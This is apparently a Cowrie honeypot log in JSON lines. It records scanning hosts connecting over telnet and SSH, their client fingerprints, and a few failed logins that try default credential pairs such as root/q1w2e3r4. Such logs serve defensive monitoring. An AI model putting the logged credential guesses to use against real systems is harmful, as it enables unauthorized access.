{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54052,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5ea79432cd","protocol":"telnet","message":"New connection: 213.136.75.179:54052 (10.17.0.5:23) [session: ff5ea79432cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:29.648437Z"}
{"eventid":"cowrie.session.closed","duration":31.52038335800171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:29.925716Z","src_ip":"159.223.86.167","session":"49db0107830a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c374f941db0","protocol":"telnet","message":"New connection: 213.136.75.179:54062 (10.17.0.5:23) [session: 8c374f941db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.433477Z"}
{"eventid":"cowrie.session.closed","duration":30.599200963974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.438802Z","src_ip":"159.223.86.167","session":"6a8e804866f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732983350753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.557930Z","src_ip":"159.223.86.167","session":"d0b9d7b8932d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0698344707489,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.644960Z","src_ip":"213.136.75.179","session":"023d1a47ccc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34372,"dst_ip":"10.17.0.5","dst_port":22,"session":"83eb9ea3fd82","protocol":"ssh","message":"New connection: 176.65.139.103:34372 (10.17.0.5:22) [session: 83eb9ea3fd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.723261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.886877Z","src_ip":"176.65.139.103","session":"83eb9ea3fd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:30.891665Z","src_ip":"176.65.139.103","session":"83eb9ea3fd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:31.400316Z","src_ip":"176.65.139.103","session":"83eb9ea3fd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60772,"dst_ip":"159.203.135.109","dst_port":23,"session":"17370a9931e4","protocol":"telnet","message":"New connection: 159.223.86.167:60772 (159.203.135.109:23) [session: 17370a9931e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.005893Z"}
{"eventid":"cowrie.session.closed","duration":31.093974113464355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.141892Z","src_ip":"159.223.86.167","session":"fa441b649955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30336928367615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.322744Z","src_ip":"213.136.75.179","session":"d2097bc725b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.484449Z","src_ip":"176.65.139.103","session":"83eb9ea3fd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.187514543533325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.644500Z","src_ip":"213.136.75.179","session":"d200166677fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.170.141.170","src_port":50380,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe49c207515","protocol":"ssh","message":"New connection: 139.170.141.170:50380 (159.203.135.109:22) [session: 7fe49c207515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.818286Z"}
{"eventid":"cowrie.session.closed","duration":31.60256290435791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.836654Z","src_ip":"159.223.86.167","session":"91ecfce6f11d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:32.869309Z","src_ip":"139.170.141.170","session":"7fe49c207515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38458,"dst_ip":"159.203.135.109","dst_port":23,"session":"21fc23bdc224","protocol":"telnet","message":"New connection: 159.223.86.167:38458 (159.203.135.109:23) [session: 21fc23bdc224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:33.306840Z"}
{"eventid":"cowrie.session.closed","duration":36.061542987823486,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:33.318599Z","src_ip":"213.136.75.179","session":"592e5966501e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.081358194351196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:33.599268Z","src_ip":"213.136.75.179","session":"f552e4a8fdbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bdd494afafd","protocol":"telnet","message":"New connection: 159.223.86.167:39900 (159.203.135.109:23) [session: 3bdd494afafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:33.643906Z"}
{"eventid":"cowrie.session.closed","duration":31.42971897125244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:34.106696Z","src_ip":"159.223.86.167","session":"95a7ea73ac07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07001829147339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:34.132345Z","src_ip":"159.223.86.167","session":"8b22f8eee242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3036d03e7ac","protocol":"telnet","message":"New connection: 23.254.167.244:42802 (159.203.135.109:23) [session: a3036d03e7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:34.971390Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":32892,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3dd316a0d2","protocol":"telnet","message":"New connection: 155.117.234.131:32892 (10.17.0.5:23) [session: ad3dd316a0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:35.140481Z"}
{"eventid":"cowrie.session.closed","duration":33.30690789222717,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:36.170644Z","src_ip":"213.136.75.179","session":"a3cab7632f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814785480499268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:36.342410Z","src_ip":"159.223.86.167","session":"20492bb68279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"8910aad8dbcd","protocol":"telnet","message":"New connection: 159.223.86.167:51244 (159.203.135.109:23) [session: 8910aad8dbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:36.347472Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54074,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b53fd0ae3f2","protocol":"telnet","message":"New connection: 213.136.75.179:54074 (10.17.0.5:23) [session: 3b53fd0ae3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.025681Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54010,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4b73335aee","protocol":"telnet","message":"New connection: 159.223.86.167:54010 (159.203.135.109:23) [session: bb4b73335aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.056919Z"}
{"eventid":"cowrie.session.closed","duration":30.951425552368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.126057Z","src_ip":"159.223.86.167","session":"9472551a03ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":54078,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d2da61b387","protocol":"telnet","message":"New connection: 213.136.75.179:54078 (10.17.0.5:23) [session: 40d2da61b387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.139261Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33114,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34ff79e4003","protocol":"ssh","message":"New connection: 176.65.139.103:33114 (10.17.0.5:22) [session: f34ff79e4003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.257105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.262312Z","src_ip":"176.65.139.103","session":"f34ff79e4003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.345044Z","src_ip":"176.65.139.103","session":"f34ff79e4003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.272336721420288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.395061Z","src_ip":"159.223.86.167","session":"e3b5d687d20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767927646636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.590403Z","src_ip":"213.136.75.179","session":"4442b78d87ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:37.639415Z","src_ip":"176.65.139.103","session":"f34ff79e4003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86652421951294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.224051Z","src_ip":"159.223.86.167","session":"1f9c746eb957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76396870613098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.695088Z","src_ip":"159.223.86.167","session":"4899c2dacc22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.733969Z","src_ip":"176.65.139.103","session":"f34ff79e4003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60540,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a231cec2b3f","protocol":"ssh","message":"New connection: 159.203.92.129:60540 (159.203.135.109:22) [session: 8a231cec2b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.745014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.749949Z","src_ip":"159.203.92.129","session":"8a231cec2b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.754423Z","src_ip":"159.203.92.129","session":"8a231cec2b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"12345","message":"login attempt [anonymous/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:38.765280Z","src_ip":"159.203.92.129","session":"8a231cec2b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58456,"dst_ip":"10.17.0.5","dst_port":23,"session":"16df93511f04","protocol":"telnet","message":"New connection: 213.136.75.179:58456 (10.17.0.5:23) [session: 16df93511f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:39.704635Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:39.770837Z","src_ip":"159.203.92.129","session":"8a231cec2b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a27175fe426","protocol":"telnet","message":"New connection: 159.223.86.167:37078 (159.203.135.109:23) [session: 0a27175fe426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:39.922504Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37234,"dst_ip":"159.203.135.109","dst_port":23,"session":"da135b512985","protocol":"telnet","message":"New connection: 159.223.86.167:37234 (159.203.135.109:23) [session: da135b512985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:39.960111Z"}
{"eventid":"cowrie.session.closed","duration":30.414225339889526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:40.173020Z","src_ip":"159.223.86.167","session":"5e593327857c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300819635391235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:40.386137Z","src_ip":"159.223.86.167","session":"836823d3157f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308913946151733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:40.861518Z","src_ip":"159.223.86.167","session":"6c48eebce0fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795795917510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.123106Z","src_ip":"159.223.86.167","session":"9e8ad6ca67a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21818256378174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.176919Z","src_ip":"213.136.75.179","session":"cfa79ec37021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195310354232788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.201045Z","src_ip":"159.223.86.167","session":"875646e447cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724244356155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.245705Z","src_ip":"159.223.86.167","session":"ef959966700d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43134,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b52e5d6a34c","protocol":"telnet","message":"New connection: 159.223.86.167:43134 (159.203.135.109:23) [session: 8b52e5d6a34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.256342Z"}
{"eventid":"cowrie.session.closed","duration":31.486603260040283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.376068Z","src_ip":"159.223.86.167","session":"3ac4be77acdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58464,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf09396d5516","protocol":"telnet","message":"New connection: 213.136.75.179:58464 (10.17.0.5:23) [session: bf09396d5516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:41.581498Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58474,"dst_ip":"10.17.0.5","dst_port":23,"session":"be3356870e60","protocol":"telnet","message":"New connection: 213.136.75.179:58474 (10.17.0.5:23) [session: be3356870e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:42.039979Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac6c5360b69","protocol":"telnet","message":"New connection: 213.136.75.179:58476 (10.17.0.5:23) [session: dac6c5360b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:42.452053Z"}
{"eventid":"cowrie.session.closed","duration":30.75847864151001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:42.569514Z","src_ip":"159.223.86.167","session":"a633f3a5ff27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66834568977356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:43.423508Z","src_ip":"159.223.86.167","session":"b84e4f10f150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cdde01a24b4","protocol":"ssh","message":"New connection: 176.65.139.103:40776 (10.17.0.5:22) [session: 2cdde01a24b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:43.773509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:43.778473Z","src_ip":"176.65.139.103","session":"2cdde01a24b4","protocol":"ssh"}
